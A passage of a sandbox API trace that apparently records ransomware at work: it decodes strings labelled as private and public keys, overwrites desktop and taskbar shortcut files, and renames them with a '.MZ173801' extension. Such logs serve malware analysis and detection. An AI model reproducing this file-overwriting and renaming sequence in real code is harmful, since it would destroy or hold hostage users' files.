lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.363] GetCurrentThreadId () returned 0xab4 [0184.363] GetCurrentThreadId () returned 0xab4 [0184.363] GetCurrentThreadId () returned 0xab4 [0184.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.364] GetCurrentThreadId () returned 0xab4 [0184.365] GetCurrentThreadId () returned 0xab4 [0184.365] GetCurrentThreadId () returned 0xab4 [0184.365] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.365] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0184.365] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.365] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e7 [0184.365] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.365] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x3e7, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x3e7, lpOverlapped=0x0) returned 1 [0184.367] CloseHandle (hObject=0x2f4) returned 1 [0184.367] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.368] WriteFile (in: hFile=0x2f4, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x3e7, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x3e7, lpOverlapped=0x0) returned 1 [0184.371] CloseHandle (hObject=0x2f4) returned 1 [0184.371] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.mz173801")) returned 1 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] GetCurrentThreadId () returned 0xab4 [0184.372] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0184.372] GetLastError () returned 0x12 [0184.372] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0184.372] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x980859bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x980859bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x980859bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x980859bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9805f718, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk.MZ173801", cAlternateFileName="ACROBA~1.MZ1")) returned 1 [0184.373] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0184.373] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9805f718, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Google Chrome.lnk.MZ173801", cAlternateFileName="GOOGLE~1.MZ1")) returned 1 [0184.373] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.373] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x980859bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.MZ173801", cAlternateFileName="MOZILL~1.MZ1")) returned 1 [0184.373] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.373] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.373] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x980859bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.MZ173801", cAlternateFileName="MOZILL~1.MZ1")) returned 0 [0184.373] GetLastError () returned 0x12 [0184.373] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0184.373] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0184.373] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar")) returned 0x11 [0184.374] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0184.374] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0184.374] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="..", cAlternateFileName="")) returned 1 [0184.374] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0184.374] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0184.374] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.374] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 1 [0184.374] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.374] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.375] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197)) returned 1 [0184.376] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk")) returned 0x20 [0184.376] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk", dwFileAttributes=0x80) returned 1 [0184.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 